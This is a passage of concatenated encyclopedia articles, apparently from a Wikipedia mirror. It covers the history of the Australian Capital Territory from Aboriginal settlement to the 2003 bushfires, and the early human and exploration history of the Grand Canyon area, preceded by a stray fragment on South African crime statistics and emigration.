          From 1994 onwards and more recently, the South African Police Service and South African Medical Research Council respectively have published statistics showing a decrease in homicides at national and city level. A widely used estimate of over 32,000 homicides was reported by the South African Medical Research Council for the 2000/01 financial year. This, however, has been scrutinized and is now considered erroneous.


          According to The Economist, an estimated 250,000 white South Africans have emigrated since 1994.
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          The history of the Australian Capital Territory as a Territory of Australia began after the Federation of Australia in 1901, when it was created in law as the site for Australia's capital city Canberra. The region has a long prior history of human habitation before the Territory's creation, however, with evidence of Indigenous Australian settlement dating back at least 21,000 years. The region formed the traditional lands associated with the Ngunnawal people and several other linguistic groups, an association known through both early European settler accounts and the oral histories of the peoples themselves. Following the colonisation of Australia by the British, the 19th century saw the initial European exploration and settlement of the area and their encounters with the local indigenous peoples, beginning with the first explorations in 1820 and shortly followed by the first European settlements in 1824. At the outset the region was dominated by large properties used for sheep and cattle grazing, which had been granted to free settlers that had arrived in Australia from the United Kingdom and other European countries. These large properties would later be broken up and subdivided in accordance with changes to land tenure arrangements, smaller farms and urban developments becoming more common.


          In the early 20th century, the development of the region took an unusual turn when it was chosen as the site for the creation of Australia's capital city in 1908. The Territory was formally ceded to the Government of Australia by the Government of New South Wales in 1909 and additional land at Jervis Bay was also surrendered to the Commonwealth for the establishment of a sea port for the capital. It officially came under government control as the Federal Capital Territory on January 1, 1911. The planning and construction of Canberra followed, with the Parliament of Australia finally moving there in 1927. The Territory officially became the Australian Capital Territory in 1938. The city of Canberra developed and expanded to accommodate the Australian federal government, while the surrounding area has been developed to support the city, including the construction of dams, the establishment of plantation forests and the creation of protected areas. The political development of the Territory began in 1949, when it was given its first representative in the Parliament of Australia, and was completed when it became an autonomous territory when self-government was granted in 1988.


          


          Prehistory
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          The lands incorporated by the Australian Capital Territory have long been inhabited by indigenous Australian peoples. Archological evidence from the Birrigai rock shelter in Tidbinbilla Nature Reserve indicates habitation dating back at least 21,000 years. It is possible that the area had been inhabited for considerably longer, with evidence of Aboriginal presence in south-western New South Wales dating to around 40,00062,000 years ago. Other sites of significance in the reserve include the Bogong Rocks shelter, which contains the oldest evidence of Aboriginal occupation at a bogong moth resting site. Bogong moths were an important source of food for the Aboriginal peoples of the Southern Alps; the moths would collect in their thousands in caves and rock crevices where they were collected and later roasted in sand or ashes and eaten whole. Numerous other culturally significant and archologically notable sites are known across the Territory, including shelters, rock art sites, stone artefact scatters, scarred trees and chert quarries. Tidbinbilla Mountain is also believed to have long been used for Aboriginal initiation ceremonies.


          Known indigenous Australian groups whose traditional lands lay within the Territory predominantly include the Ngunnawal people, whose association with the area is known through both early European settler accounts and the oral histories of the people themselves. Other groups known to have been active in the region include the Walgalu, and in the surrounding areas the Ngarigo to the south-east of the ACT, the Gundungurra associated with lands to the north, the Yuin on the south coast of New South Wales and the Wiradjuri to the west. These indigenous Australian groups were hunter-gatherers, whose oral traditions maintained and explained their connections with the landscape, the cultural significance of particular features, and their account of their historical identities. However, many of these traditions are only poorly documented, if at all, and apart from what can be reconstructed from evidence obtained from remaining archological sites, there is no comprehensive record of the history of the local indigenous peoples prior to European exploration and settlement.


          


          Exploration


          In 1788 the British landed at Sydney Cove, and the European settlement of Australia began. As the colony expanded more land was needed to grant to free settlers for farming. Governor Lachlan Macquarie supported expeditions to open up new lands to the south, including one to find an overland route from Sydney to Jervis Bay, an area which would later be incorporated into the Territory as its only coastal possession. In 1818 Charles Throsby, Hamilton Hume, James Meehan and William Kearns set out to find that route, a task accomplished that same year by Throsby and Kearns. The 1820s saw further exploration in the Canberra area, associated with the construction of a road from Sydney to the Goulburn plains, supervised by Throsby. Hearing about rivers in the south from the local Aborigines, in 1820 Throsby, his convict assistant Joseph Wild and James Vaughan set off to explore the Canberra region (which they described as the Limestone Plains), also discovering the Yass River. A second expedition was mounted, and Charles Throsby's nephew Charles Throsby Smith, Wild and Vaughan further explored the Molonglo and Queanbeyan Rivers and were the first Europeans to camp at the site of the future National Capital. In 1821 Charles Throsby mounted a third expedition and found the Murrumbidgee River.


          Joseph Wild was employed by Brigade Major John Ovens and Captain Mark Currie in 1823 to guide them to the Murrumbidgee. They travelled south along the river and named the area now known as Tuggeranong Isabella's Plain. Unable to cross the river near the current site of Tharwa, they continued on to the Monaro Plains. The last expedition in the region was undertaken by Allan Cunningham in 1824. Cunningham's reports verified that the region was suitable for grazing, and the settlement of the Limestone Plains followed immediately thereafter.


          


          European settlement
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          When the limits of location for settlement in New South Wales were determined, the Limestone Plains were authorised for settlement by British settlers and settlers of other European origins. The first land grant in the area was made to Joshua John Moore in 1823, and European settlement in the area began in 1824 with the construction of a homestead, on what is now the Acton peninsula, by stockmen employed by him. Moore formally purchased the site in 1826 and named the property Canberry, or Canberra, although he never visited the site. His 4 km claim covered much of the future North Canberra. Adjacent to the eastern boundary on Moore's claim was land occupied by James Ainslie on behalf of Robert Campbell, which was known as Duntroon. John Palmer was granted land in the region which was taken up by his son George Palmer in 1826. He established Palmerville near Ginninderra Creek in 1829, and the "Squire" at Gungahlin was completed in 1861. Ginninderra Village was the site of first school, which operated from 1844 to 1848. The region's second school opened at Duntroon, adjacent St John's Church. St John's was Canberra's first church; it was consecrated and opened for use in 1845.


          The south-west of the Territory, the area known today as Tuggeranong, was settled in the late 1820s, officially beginning with Peter Murdoch in 1827. The Waniassa Homestead (also known as Tuggeranong Homestead) was completed in 1836 by John McQuoid, and the first buildings of the Lanyon estate, owned by John Lanyon and James Wright, were built in 1838. Tharwa was settled in 1834; the homestead in this area was named Cuppacumbalong, and was established by James Wright in 1839. Tharwa is the oldest official settlement in the Australian Capital Territory, having being proclaimed in 1862.


          Further south into the area that is now a part of the Namadgi National Park. The Naas and Orroral stations in the Naas and Orroral river valleys were built in 1836. During the 1830s Garret Cotter inhabited the Cotter Valley; the Cotter River received its name by association. From the late 1830s, the Boboyan Homestead and station were established. Gudgenby was settled in the early 1840s; the Gudgenby Homestead was also built around this time. By 1848 most of the major valleys of the Namadgi area had been settled.


          During the first 20 years of European settlement, there was only limited contact between the settlers and Aborigines, and reported acts of hostility were minimal, however there were some recorded confrontations. Joseph Franklin purchased land in the Brindabellas in 1849 and attempted to set up a cattle farm. His livestock was slaughtered by the local Aboriginals and he was driven back out of the mountains. In 1859 gold was discovered at Kiandra, the resulting rush of prospectors into the area through the Brindabellas and the mountains to the west of the ACT leading to the further decimation of the Aboriginal population. By the time Franklin returned to the Brindabellas in 1863, such Aboriginal communities as could still be found were few in number and widely dispersed.


          As the encroachment of European settlement continued, numbers of surviving Aboriginal families were drawn to the farms and townships by the opportunity to work or receive handouts of food and blankets. Over the succeeding years, the Ngunnawal and other local indigenous peoples effectively ceased to exist as cohesive and independent communities adhering to their traditional ways of life. Those who had not succumbed to disease and other predations either dispersed to the local settlements or were relocated to more distant Aboriginal reserves which were set up by the NSW government in the latter part of the 19th century. The children of mixed European-Aboriginal families were generally expected to assimilate into the settlement communities. The Ngunnawal were subsequently often considered to be "extinct"; however, in a situation parallel to that of the Tasmanian Aborigines, people with some claim to Ngunnawal ancestry continue to maintain their connection with and identity as Ngunnawals. There have however been some instances of dispute within the community itself over who is properly considered to be a member of the contemporary Ngunnawal community. The Ngunnawal community (or nation as they are sometimes styled, in reference to the present-day population's descent from multiple indigenous ancestries) remain active and ambitious to further restore and repair their connections to their dispossessed custodial lands and cultural heritage.


          Convict labour was widely used in the region, and the first bushrangers in the region were runaway convicts. John Tennant was the earliest and best-known bushranger of the region, and lived in a hideout on a mountain behind Tharwa, now known as Mt Tennant. From 1827 he raided the local homesteads stealing stock, food and possessions until his arrest in 1828. He was later hung for his crimes in Sydney. The lawlessness of the region led to the appointment of the first resident magistrate on November 28, 1837. The magistrate oversaw legal matters and issued liquor licenses to several establishments, the first of which was the Oaks Estate in 1841. A significant influx of population and economic activity occurred around the 1850s goldrushes, particularly the Kiandra rush of 1859 to 1860. The gold rushes saw the establishment of communication between Sydney and the region by way of the Cobb & Co coaches, which transported mail and passengers. The first post office opened in Ginninderra in 1859 and a second at Lanyon in 1860. Bushranger activity continued with the gold rushes: Australian-born bushrangers Ben Hall and the Clarke brothers were active in the area, targeting mail coaches and gold shipments.
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          Terence Aubrey Murray was born in Ireland in 1810 and moved to Sydney, Australia with his family in 1825. In 1837 he acquired the property of Yarralumla and moved to the area. He became the first parliamentary representative for the district from 1860. The Robertson Land Acts and the Closer Settlement Acts altered the mechanism for granting land tenure and brought about the break-up of large properties in New South Wales. With the changes in land tenure, the economic focus of the region shifted from grazing to agriculture. Many towns developed along with these changes, such as Tharwa and Hall. Hall, named after Henry Hall, the first settler in the area, was proclaimed a village in 1882, and the first allotments were sold in 1886. It was by 1901 an established town with two stores, a hotel, coachbuilder, blacksmith, butcher, shoemaker, saddler and a dairy.


          In 1886 agronomist William Farrer, a resident of Cuppacumbalong, built Lambrigg on the banks of the Murrumbidgee River south of present day Tuggeranong. Lambrigg was a research station where he experimented with rust- and drought-resistant wheat; the varieties he bred were widely used by Australian wheat growers, and he was later credited with establishing the Australian wheat industry. Tharwa Bridge, the oldest surviving bridge in the region, was opened in 1895 and was the first bridge across the Murrumbidgee River. By 1911 when the region came under federal control, the population had grown to 1,714 settlers.


          


          Search for a capital city location
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          The district's change from a New South Wales rural area to the national capital began with the debates over Federation in the early 20th century. At the time Melbourne was easily Australia's largest city and an obvious candidate to be the capital. The western coloniesWestern Australia, South Australia and Victoriasupported Melbourne. However, NSW (the largest colony) and (to a lesser extent) Queensland, favoured Sydneywhich was older than Melbourne and the only other large city in Australia. Either of these two colonial cities might have eventually been acceptable to the smaller states, but the Sydney-Melbourne rivalry was such that neither city would agree to the other one becoming capital. Eventually, a compromise was reached: Melbourne would be the capital on a temporary basis while a new capital was built somewhere between Sydney and Melbourne. Section 125 of the Australian Constitution specified that the capital must be north of the Murray River, placing the capital in New South Wales rather than Victoria, but at least 100miles (160km) from Sydney.


          The search for an appropriate site began in earnest in 1903, when the new federal government created a commission to investigate potential sites. The commissioners did not agree on a single site, but recommended several Albury, Tumut or Orange, in that order. The House of Representatives supported the Tumut option, but ran into difficulties when the Senate preferred the town of Bombala.
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          The small town of Dalgety, located on the Snowy River, was eventually settled on as a compromise between the two houses with the passage of the Seat of Government Act 1904. A stand-off between the New South Wales and federal governments resulted, as the state was unwilling to cede the amount of territory the federal government demanded. Finally, in 1906 the state agreed to cede the desired amount of territory, as long as it was in the Yass-Canberra region; this site was closer to Sydney. Following a tour of the region by several Senators and Members of the Commonwealth Parliament in 1908, the federal government agreed to the state's demands and repealed the 1904 Act, passing the new Seat of Government Act 1908, which approved a capital in the Yass-Canberra region.


          Government Surveyor Charles Scrivener was deployed to the region in the same year in order to map out a specific site and, after an extensive search, settled upon the present location, about 300 kilometres south-west of Sydney in the foothills of the Australian Alps. Two people who had campaigned particularly strongly for the federal capital to be in the Canberra area and against the Dalgety site were John Gale, the publisher of the Queanbeyan Age, and federal politician King O'Malley.


          


          Establishment of the Territory in law
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          In 1909 New South Wales transferred the land for the creation of the Federal Capital Territory to federal control though two pieces of legislation, the Seat of Government Acceptance Act 1909 and the Seat of Government Surrender Act 1909. The Act transferred Crown land in the counties of Murray and Cowley to the Commonwealth, which amounted to an area about 2,330km and eight parcels of land near Jervis Bay. All private land in the surrendered area had to be bought by the Commonwealth. The Seat of Government Acceptance Act also gave the Commonwealth rights to use and control the waters of the Queanbeyan and Molonglo Rivers.


          In 1910 the Seat of Government (Administration) Act 1910 created the legal framework for the Territory. The act specified that laws in the Territory could be made by the Commonwealth and that Ordinances could be made by the Governor-General, and placed the ACT under the jurisdiction of the New South Wales Supreme Court. The Act also specifies that no land in the Territory can be held by freehold, creating the leasehold land tenure system that exists today, and is the only land tenure system of its kind in Australia. When the Act came into force on January 1, 1911, control of the Territory was officially assumed by the Commonwealth. This Act remained the constitutional basis for law-making in the ACT for nearly 90 years. King O'Malley, the politician responsible for the legislation creating the ACT, also passed a law in 1910 making the ACT an alcohol-free area; this law was not repealed until 1928. Until that time local residents travelled to Queanbeyan, just across the New South Wales border, to drink on Saturday. In 1938 the Territory was formally renamed the Australian Capital Territory.


          The Jervis Bay Territory Acceptance Act 1915 and the New South Wales Seat of Government Surrender Act 1915 created a Territory of Jervis Bay, deemed part of the Federal Capital Territory and with all laws of the Territory applicable.


          


          Development of Canberra
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          One of the first federal facilities established in the Territory was the Royal Military College, established on the Campbell's property Duntroon; it opened in 1911. In the same year, an international competition to design the future capital was held, which was won by the Chicago architect Walter Burley Griffin in 1912. The official naming of Canberra and construction began on March 12, 1913. After official indecision over the plan and its implementation, Griffin was invited to Australia in 1913 to oversee construction. Griffin's plan incorporated significant areas of natural vegetation and a large body of water. Bureaucratic wrangling delayed Griffin's work; a Royal Commission in 1916 ruled his authority for executing the plan had been usurped by certain officials. Prime Minister Billy Hughes removed Griffin from his position at the end of 1921. At the time of his removal, Griffin had revised his plan, overseen the earthworks of the major avenues, and established the Glenloch Cork Plantation.
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          After Griffin was removed, the Federal Capital Advisory Committee was established to advise the government of the construction efforts. The Committee had limited success meeting its goals; however, the chairman, John Sulman, was instrumental in applying the ideas of the garden city movement to Griffin's plan. The Committee was replaced in 1925 by the Federal Capital Commission. The role of the FCC was to prepare Canberra for the transfer of the Commonwealth Parliament and the public service from Melbourne to Canberra. The Federal Government officially relocated to the ACT from Melbourne on the formal opening of the Provisional Parliament House on 9 May 1927. Among the new Parliament's first acts was the repeal of the prohibition laws. At first the public service remained based in Melbourne, the various departments' headquarters only gradually moving to Canberra over the space of several years. From 1938 to 1957 the National Capital Planning and Development Committee continued to plan the further expansion of Canberra; however, the NCPDC did not have executive power, and decisions were made on the development of Canberra without the Committee's consultation. A few major buildings were constructed during this period of NCPDC responsibility, such as the Australian War Memorial, which opened in 1941. However, financial and labour constraints limited major growth, and as such the development of the city was sporadic until the conclusion of World War II.
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          After World War II there was a shortage of housing and office space in Canberra, so a Senate Select Committee hearing was held in 1954 to address its development requirements. This Committee recommended the creation of a single planning body with executive power. Consequently, the NCPDC was replaced by the National Capital Development Commission in 1957. The NCDC oversaw the construction of Lake Burley Griffin and the completion of Griffin's Parliamentary Triangle in 1964. The population of Canberra increased by more than 50% every five years between 1955 and 1975. To accommodate the influx of residents, the NCDC oversaw the release of new residential land though the creation of new town centres: Woden opened in 1964, followed by Belconnen in 1966, Weston Creek in 1969 and Tuggeranong in 1973. A new National Library was constructed within the Parliamentary Triangle to be followed by the High Court of Australia, the National Gallery and finally a new Parliament House in 1988. The NCDC was disbanded in 1988, with most of its staff and planning authority transferred to the newly created ACT government and the new National Capital Authority, which was established to oversee Commonwealth interests in development of the national capital. Canberra has continued to grow with the further release of residential land in Gungahlin in the 1990s.


          


          Development outside Canberra
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          A significant priority for the establishment of Canberra was the construction of water storage facilities. Cotter Dam was the first dam built on the Cotter River; construction on this 18.5m high concrete gravity dam was started in 1912 and finished in 1915. Its height was raised to 31m in 1951. Chlorination of Canberra's water began at the Cotter Dam in 1955; water treatment was moved to the Mt Stromlo Water Treatment Plant after 1967. Two additional dams were built on the Cotter: the Bendora Dam, a double-curvature, concrete-arch dam, was completed in 1961; and the Corin Dam, an earth and rock-fill embankment dam, was built in 1968. In 1979 Googong Dam, the biggest dam that supplies the ACT, was built on the Queanbeyan River in New South Wales.


          Transport into and out of the ACT was also a priority for early development. In 1931 the Federal Highway linking the ACT to Goulburn was completed, and in 1936 an airfield was constructed at Duntroon. The only air disaster to occur in the ACT happened on 13 August 1940, when Australia's chief military officer and three senior ministers in the Menzies Government, James Fairbairn, Geoffrey Street and Henry Somer Gullett, were killed when their plane crashed on the southern approach to Canberra.


          A railway connecting Canberra to Jervis Bay was planned, but never constructed. Several facilities were built in Jervis Bay including the Royal Australian Naval College (HMAS Creswell) built in 1913, the Jervis Bay Air Base Range, and a Botanic Gardens. In the 1970s a nuclear reactor and a large industrial development including a steelworks, petrochemical and chemical industry, aluminium smelting, copper refining, quarrying and woodchip industries were planned, but neither were developed.


          The native forest of the ACT was almost wholly eucalypt species and provided a resource for fuel and domestic purposes, especially during the boom following World War II. By the early 1960s, logging had depleted the forests, and concern about water quality in the Cotter River catchment led to the forests being closed. Interest in forestry in the Territory had begun in 1915, when T.C.G. Weston had begun trials of a number of species including Pinus radiata on the slopes of Mt Stromlo. Plantation forestry began in earnest in 1926 with 2km planted annually around Uriarra and Pierce's Creek. By 1938 the area planted yearly was 4km, with the favourable benefit of reducing erosion in the Cotter catchment. In 1967 the Australian Government approved a plan for a total 160km of plantation in the ACT, and by 1970 this goal had been achieved. The ease of access to the plantations has made them popular recreation areas for Canberrans. Throughout the 20th century, significant areas of plantation forest were periodically lost to bushfire, with major fires occurring in 1939, 1952, 1979, 1983, 2001 and 2003.
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          In 1936 about 8.1km of forest was set aside in order to create the Tidbinbilla Nature Reserve, and in 1939 a Koala enclose was built by the Institute of Anatomy. The government acquired land to establish a national park and fauna reserve in 1962, extending the park to 36.29km and later further increased to its current size of 54.50km. In 1969 the first wildlife displays were created, and in 1971 the park was officially gazetted. In 1984 the Namadgi National Park was declared. The park is 1059km and makes up more than half of the Australian Capital Territory.


          The Australian Government signed an agreement with the United States in 1960 for the establishment of satellite-tracking stations in the ACT. As a result of the agreement, three tracking stations were built in the ACT by NASA. The Canberra Deep Space Communication Complex was officially opened on 19 March 1965 by then Prime Minister Sir Robert Menzies, and is the only station still in operation in the ACT, communicating with interplanetary spacecraft. The Orroral Valley Tracking Station, which was for orbiting satellite support, opened in May 1965 in what is now part of Namadgi National Park, but was closed down in 1985. Honeysuckle Creek Tracking Station, completed in December 1966, was a communications relay station for Project Apollo, Skylab and interplanetary spacecraft between 1967 and 1981. In 1981 its 26m antenna was moved to the Canberra Deep Space Communication Complex.


          


          Government and the ACT


          The Australian Capital Territory Police was created in 1927, the same year the federal government moved to the ACT, and initially consisted of only eleven officers. The size of the force grew over subsequent decades with the development of Canberra, and maintained similar status to that of police forces in other states until 1979. In that year, the ACT Police merged with the Commonwealth Police and the Federal Narcotics Bureau to form the Australian Federal Police, which were at the time responsible for law and order in Canberra. Since self-government was granted in 1988, the AFP has performed this under contract to the ACT government.


          The ACT was given its first federal representation in 1949, when it gained a seat in the House of Representatives, the Division of Australian Capital Territory, under the 1948 Representation Act which increased the size of the House of Representatives. The ACT member could only vote on matters directly affecting the Territory. In 1974, the Australian Capital Territory and the Northern Territory were each allocated two Senate seats. In 1974, the House of Representatives seat was divided into two, the Division of Canberra and Division of Fraser. A third, the Division of Namadgi, was created in 1996, but was abolished in 1998 after an updated assessment of changes to the regional demographic distribution. Both House of Representatives seats have mostly been held by the Australian Labor Party, and the Senate seats have always been split one-to-one between the ALP and the Liberal Party of Australia.


          
            [image: The Flag of Australian Capital Territory was adopted in 1993 and features the Southern Cross and the Coat of Arms.]

            
              The Flag of Australian Capital Territory was adopted in 1993 and features the Southern Cross and the Coat of Arms.
            

          


          From 1930, the ACT was administered by the ACT Advisory Council and the Minister for Territories, and from 1934 had its own Supreme Court. In 1974 the Council became a fully elected Legislative Assembly, advising the Department of the Capital Territory, and in 1979 this became a House of Assembly of 18 elected members. Despite a 1978 referendum, in which Canberrans rejected self government by 63% of the vote, the sitting ACT Assembly was dissolved in 1986. In December 1988, the ACT was granted full self-government with the passage of the Australian Capital Territory (Self-Government) Act 1988. The first elections were held in February 1989, and the inaugural 17-member Legislative Assembly moved into former public service buildings in London Circuit and Civic on May 11, 1989. The Australian Labor Party formed the ACT's first government, led by Chief Minister Rosemary Follett, who made history as Australia's first female head of government. When self-government was granted, the Jervis Bay Territory, which had been considered a part of the ACT, became a separate territory administered by the Minister for Territories. Since 1992, members of the Assembly have been elected by the Hare-Clark proportional representation system, which replaced the previously used modified D'Hondt method.


          Whereas the ACT's federal electorates have been mainly held by Labor, the Liberal Party has been able to gain some footing in the ACT Assembly, and formed government in seven out of the Assembly's 17-year history (to 2006).


          Since the 1993 creation of the National Native Title Tribunal, there have been four separate claims to Native Title lodged over alienated lands in the ACT by representatives of the Ngunnawal communities, in 1996, 1997, 1998 and 2002. The first two of these were discontinued after reaching a Federal Court hearing, and the third was rejected as not meeting applicable provisions. The fourth claim is still (as of 2005) active in seeking a resolution. In 2001, the ACT government entered into a cooperative agreement with the Ngunnawal community over the management of Namadgi National Park, which constitutes approximately 46% of the ACT's total land area. This agreement recognised the Ngunnawal's cultural association with the park's lands, and their role as custodians of their traditional lands and responsibilities to their ancestors and descendants for the protection of their sites. Management of the park is exercised in consultation with a group of appointed Ngunnawal representatives.


          In the 1990s, a number of activities which are or were illegal in other Australian states were legalised in the ACT. These include the sale of X-rated pornographic materials (1989) and prostitution in brothels (1992), although brothels are only permitted to operate in the suburbs of Mitchell and Fyshwick. The personal use of cannabis was decriminalised in 1992 and abortion was decriminalised in 2002.


          


          Recent history
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          The first years of the 21st century saw a period of extended drought in the ACT region, accompanied by several bushfires which caused widespread devastation. Over the 2001 Christmas period, five separate bushfires burnt over 16km of forest in the ACT, including millions of dollars' worth of plantation pine forest. The drought conditions continued during the following years, and in 2003 the ACT burned again. The 2003 bushfires damaged about 70% of the area of the ACT, including 99% of the Tidbinbilla Nature Reserve and significant areas of government-owned pine plantation. Four people were killed, 67 rural houses were destroyed, including 16 houses at Uriarra, 12 at Pierces Creek and 414 houses in the outer suburbs of Canberra. More than 200 other houses were damaged by the fires, and numerous buildings of historical significance were lost, including the Mt Franklin Chalet, which was built in 193738 for the Canberra Alpine Club and was the first club-built ski lodge in mainland Australia. Many other historic houses and huts in the Namadgi National Park were also lost. Nil Desperandum and Rock Valley Homestead, the two historic houses at Tidbinbilla, were destroyed. Another significant loss was the Mount Stromlo Observatory, operated by the Australian National University. The dome which housed the observatory's Oddie telescope was built in 1911 and was the first federal building in the ACT.


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_the_Australian_Capital_Territory"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        History of the Grand Canyon area


        
          

          The known history of the Grand Canyon area stretches back 10,500 years when the first evidence for human presence in the area started. Native Americans have been living at Grand Canyon and in the area now covered by Grand Canyon National Park for at least the last 4,000 of those years. Anasazi, first as the Basketmaker culture and later as the more familiar Puebleoans, developed from the Desert Culture as they became less nomadic and more dependent on agriculture. A similar culture, the Cohonina, also lived in the canyon area. Drought in the late 13th century was the likely cause for both cultures to move on. Other cultures followed, including the Paiutes, Cerbat, and the Navajo, only to be later forced onto reservations by the United States Government.


          Under direction by conquistador Francisco Vasquez de Coronado to find the fabled Seven Cities of Cibola, Captain Garcia Lopez de Cardenas led a party of Spanish soldiers with Hopi guides to the Grand Canyon in September of 1540. Not finding what they were looking for, they left. Over 200 years passed before two Spanish priests became the second party of non-Native Americans to see the canyon. In 1869, U.S. Army Major John Wesley Powell led the Powell Geographic Expedition through the canyon on the Colorado River. This and later study by geologists uncovered the geology of the Grand Canyon area and helped to advance that science. In the late 19th century there was interest in the region because of its promise of mineral resourcesmainly copper and asbestos. The first pioneer settlements along the rim came in the 1880s.


          Early residents soon discovered that tourism was destined to be more profitable than mining, and by the turn of the century Grand Canyon was a well-known tourist destination. Most visitors made the grueling trip from nearby towns to the South Rim by stagecoach. In 1901 the Grand Canyon Railway was opened from Williams, Arizona, to the South Rim, and the development of formal tourist facilities, especially at Grand Canyon Village, increased dramatically. The Fred Harvey Company developed many facilities at the Grand Canyon, including the luxury El Tovar Hotel on the South Rim in 1905 and Phantom Ranch in the Inner Gorge in 1922. Although first afforded Federal protection in 1893 as a forest reserve and later as a U.S. National Monument, Grand Canyon did not achieve U.S. National Park status until 1919, three years after the creation of the National Park Service. Today, Grand Canyon National Park receives about five million visitors each year, a far cry from the annual visitation of 44,173 in 1919.
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          Native American inhabitation
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          Current archaeological evidence suggests that humans have inhabited the Grand Canyon area as far back as 4,000 years and at least were passers through for 6,500 years before that. Radiocarbon dating of artifacts found in limestone caves in the inner canyon indicate ages of 3,000 to 4,000 years. In the 1930s artifacts consisting of split-twig animal figurines were found in the Redwall Limestone cliffs of the Inner Gorge that were dated in this range. These animal figurines are a few inches (7 to 8 cm) in height and made primarily from twigs of willow or cottonwood. This find along with other evidence suggests these inner canyon dwellers were part of Desert Culture; a group of seminomadic hunter-gatherer Native Americans.


          The Basketmaker Anasazi (also called the Histatsinom, meaning "people who lived long ago") evolved from the Desert Culture sometime around 500 BCE. This group inhabited the rim and inner canyon and survived by hunting and gathering along with some limited agriculture. Noted for their basketmaking skills (hence their name), they lived in small communal bands inside caves and circular mud structures called pithouses. Further refinement of agriculture and technology led to a more sedentary and stable lifestyle for the Anasazi starting around 500 CE. Contemporary with the flourishing of Anasazi culture, another group, called the Cohonina lived west of the current site of Grand Canyon Village.


          Anasazi in the Grand Canyon area started to use stone in addition to mud and poles to erect above-ground houses sometime around 800 CE. Thus the Pueblo period of Anasazi culture was initiated. In summer, the Puebleoans migrated from the hot inner canyon to the cooler high plateaus and reversed the journey for winter. Large graineries and multi-room pueblos survive from this period. There are around 2,000 known Anasazi archaeological sites in park boundaries. The most accessible site is Tusayan Pueblo, which was constructed sometime around 1185 and housed 30 or so people.
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          Large numbers of dated archaeological sites indicate that the Anasazi and the Cohonina flourished until about 1200 CE. Something happened a hundred years after that, however, that forced both of these cultures to move away. Several lines of evidence led to a theory that climate change caused a severe drought in the region from 1276 to 1299, forcing these agriculture-dependent cultures to move on. Many Anasazi relocated to the Rio Grande and the Little Colorado River drainages, where their descendants, the Hopi and the 19 Pueblos of New Mexico, now live. The Hopi people believe they emerged from the canyon and that their spirits rest here.


          For approximately one hundred years the canyon area was uninhabited by humans. Paiutes from the east and Cerbat from the west were the first humans to reestablish settlements in and around the Grand Canyon. The Pauite settled the plateaus north of the Colorado River and the Cerbat built their communities south of the river, on the Coconino Plateau. Sometime in the 15th century the Navajo, or the Dine, arrived in the area.


          All three cultures were stable until the United States Army moved them to Indian reservations in 1882 as part of the removal efforts that ended the Indian Wars. The Havasupai and Hualapai are descended from the Cerbat and still live in the immediate area. Havasu Village, in the western part of the current park, is likely one of the oldest continuously-occupied settlements in the contiguous United States. Adjacent to the eastern part of the park is the Navajo Nation, the largest reservation in the United States.


          


          Historic exploration


          


          Spanish


          The first Europeans reached the Grand Canyon in September 1540. It was a group of about 13 Spanish soldiers led by Garca Lpez de Crdenas, dispatched from the army of Francisco Vsquez de Coronado on its quest to find the fabulous Seven Cities of Cibola (Castaeda [1596] 1990). The group was led by Hopi guides and, assuming they took the most likely route, must have reached the Canyon at the South Rim, probably between today's Desert View and Moran Point.


          The report indicates that they greatly misjudged the proportions of the gorge. On the one hand, they estimated that the Canyon was about three to four leagues wide (1316 km, 810 mi), which is quite accurate. At the same time, however, they believed that the river, which they could see from above, was only 2 metres (6 ft) wide (in reality it is about a hundred times wider). Being in dire need of water, and wanting to cross the giant obstacle, the soldiers started searching for a way down to the Canyon floor that would be passable for them along with their horses. After three full days, they still hadn't been successful, and it is speculated that the Hopi, who probably knew a way down to the Canyon floor, were reluctant to lead them there.


          As a last resort, Crdenas finally commanded the three lightest and most agile men of his group to climb down by themselves (their names are given as Pablo de Melgosa, Juan Galeras, and an unknown, third soldier). After several hours, the men returned, reporting that they had only made one third of the distance down to the river, and that "what seemed easy from above was not so". Furthermore, they claimed that some of the boulders which they had seen from the rim, and estimated to be about as tall as a man, were in fact bigger than the Great Tower of Seville (which then was the tallest building in the world, measuring 82 metres, or 270 feet). Crdenas finally had to give up and returned to the main army. His report of an insurmountable barrier squelched all interest in the area for the next two hundred years.


          Only in 1776 did two Spanish Priests, Fathers Francisco Atanasio Domnguez and Silvestre Vlez de Escalante travel along the North Rim again, together with a group of Spanish soldiers, exploring southern Utah in search of a route from Santa Fe, New Mexico to Monterey, California.


          


          Americans


          James Ohio Pattie and a group of American trappers and mountain men were probably the next Europeans to reach the Canyon in 1826. There is little in terms of documentation to support this, however.


          The signing of the Treaty of Guadalupe Hidalgo in 1848 ceded the Grand Canyon region to the United States. Jules Marcou of the Pacific Railroad Survey made the first geologic observations of the canyon and surrounding area in 1856.


          Jacob Hamblin (a Mormon missionary) was sent by Brigham Young in the 1850s to locate easy river crossing sites in the canyon. Building good relations with local Native Americans and white settlers, he discovered Lee's Ferry in 1858 and Pierce Ferry (later operated by, and named for, Harrison Pierce)the only two sites suitable for ferry operation. George Johnson led an expedition by stern wheeler steam boat that reached Black Canyon in 1857.
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          A U.S. War Department expedition led by Lt. Joseph Ives was launched in 1857 to investigate the area's potential for natural resources, to find railroad routes to the west coast, and assess the feasibility of an up-river navigation route from the Gulf of California. The group traveled in a stern wheeler steamboat named Explorer. After two months and 350 miles (560 km) of difficult navigation, his party reached Black Canyon some two months after George Johnson. In the process, the Explorer struck a rock and was abandoned. The group later traveled eastwards along the South Rim of the Grand Canyon.


          A man of his time, Ives discounted his own impressions on the beauty of the canyon and declared it and the surrounding area as "altogether valueless", remarking that his expedition would be "the last party of whites to visit this profitless locality". Attached to Ives' expedition was geologist John Strong Newberry who had a very different impression of the canyon. After returning, Newberry convinced fellow geologist John Wesley Powell that a boat run through the Grand Canyon to complete the survey would be worth the risk. Powell was a major in the United States Army and was a veteran of the American Civil War, a conflict that cost him his right forearm in the Battle of Shiloh.
